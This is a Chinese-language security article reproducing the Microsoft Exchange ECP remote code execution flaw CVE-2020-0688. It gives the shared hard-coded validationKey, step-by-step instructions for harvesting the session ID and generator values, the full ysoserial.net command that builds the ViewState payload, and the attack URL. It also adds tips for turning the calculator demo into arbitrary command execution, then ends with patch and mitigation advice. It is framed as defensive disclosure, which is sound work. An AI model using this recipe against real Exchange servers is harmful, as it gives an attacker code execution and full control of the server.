文章目录
近日网络公开了一个编号为CVE-2020-0688的Microsoft Exchange Server远程代码执行漏洞,丁牛安全团队对该漏洞进行了模拟复现,分析了该漏洞成因及利用,希望可以帮助企业了解该漏洞的危害,及时修复漏洞远离黑客攻击。
Microsoft Exchange Server 2010 Service Pack 3
Microsoft Exchange Server 2013
Microsoft Exchange Server 2016
Microsoft Exchange Server 2019
这个漏洞是由于Exchange服务器在安装时没有正确地创建唯一的加密密钥所造成的。
具体来说,与正常软件安装每次都会产生随机密钥不同,所有Exchange Server在安装后的web.config文件中都拥有相同的validationKey和decryptionKey。这些密钥用于保证ViewState的安全性。而ViewState是ASP.NET Web应用以序列化格式存储在客户机上的服务端数据。客户端通过__VIEWSTATE请求参数将这些数据返回给服务器。攻击者可以在ExchangeControl Panel web应用上执行任意.net代码。
当攻击者通过各种手段获得一个可以访问Exchange Control Panel (ECP)组件的用户账号密码时。攻击者可以在被攻击的exchange上执行任意代码,直接获取服务器权限。
想要利用该漏洞,我们需要四个参数,分别为:
–validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF(默认,漏洞产生原因)
–validationalg = SHA1(默认,漏洞产生原因)
–generator=B97B4E27(基本默认)
–viewstateuserkey = ASP.NET_SessionId(手工获取,变量,每次登陆都不一致)
在这四个变量中,前两个为默认固定,viewstateuserkey和generator的值需要从经过身份验证的session中收集。viewstateuserkey可以从ASP.NET的_SessionID cookie中获取,而generator可以在一个隐藏字段__VIEWSTATEGENERATOR中找到。所有这些都可以通过浏览器中的工具轻松获取。
在正常登录后访问 /ecp/default.aspx 页面。使用F12开发者工具的Network选项,刷新页面重新发送请求,找到登录时/ecp/default.aspx的原始响应。
在Headers选项卡找到ASP.NET_SessionId的cookie:
在Response选项卡搜索__VIEWSTATEGENERATOR获取字段值:
如果未找到此字段不必慌张,直接使用默认值B97B4E27 即可。
使用ysoserial.net工具生成反序列化payload。 工具下载地址:https://github.com/pwntester/ysoserial.net/
生成payload命令:
ysoserial.exe-p ViewState -g TextFormattingRunProperties -c "calc.exe"--validationalg="SHA1"--validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF"--generator="B97B4E27" --viewstateuserkey="d673d1a4-1794-403e-ab96-e283ca880ef2"--isdebug --islegacy
在生成完payload代码后,需要对该代码进行URL Encode编码构造一个URL
/ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=<ViewState>
将最开始获得的__VIEWSTATEGENERATOR值替换<generator>,将URL Encode编码后的payload替换<ViewState>。
示例:
访问构造好的URL地址,服务器会弹出500的错误,但攻击其实成功了。
登录服务器查看进程,发现计算器成功启动。
网上一些说法该漏洞对大版本的小版本有限制。其实不是这样的,应该是全版本通杀的。本人测试环境server 12 + exchange 2013。测试过15.0.516.32(2012 年12月3日)和15.0.1497.2(2019年6月18日)也就是update23,均存在漏洞,可以复现成功,16,19未测试,应该差不多。
在最初版本的时候一直没有这个参数(确实不重要,基本为默认值),造成这一问题的主要原因是没有更新系统补丁KB2919355,更新该补丁后就会出现__VIEWSTATEGENERATOR字段。
大部分复现者只复现到启动计算器,但是却无法创建文件。但经过测试发现问题出在ysoserial.exe的-c参数上,虽然在演示过程中可以直接-c “echo OOOPS!!! > c:/Vuln_Server.txt”创建文件,让人误以为-c是在cmd窗口下运行,但是实际上-c实际为“运行”的内容,因此直接echo是不行的,需要-c “cmd /c echo test > C:\1.txt”,经测试成功创建文件,如图所示:
对生成的payload编码时,需要注意只编码关键的特殊字符即可,如果全编码的话会无法利用成功。
产品 | 文章 | 下载 |
---|---|---|
Microsoft Exchange Server 2010 Service Pack 3更新汇总30 | 4536989 | 安全更新 |
Microsoft Exchange Server 2013累积更新23 | 4536988 | 安全更新 |
Microsoft Exchange Server 2016累积更新14 | 4536987 | 安全更新 |
Microsoft Exchange Server 2016累积更新15 | 4536987 | 安全更新 |
Microsoft Exchange Server 2019累积更新3 | 4536987 | 安全更新 |
Microsoft Exchange Server 2019累积更新4 | 4536987 | 安全更新 |
由于该漏洞需要利用Exchange Control Panel (ECP)组件,因此禁止此组件访问也不失为一个较为有效的应急方法,建议条件允许的情况下及时更新补丁。
*本文作者:GFinger 和 pt007,转载请注明来自FreeBuf.COM。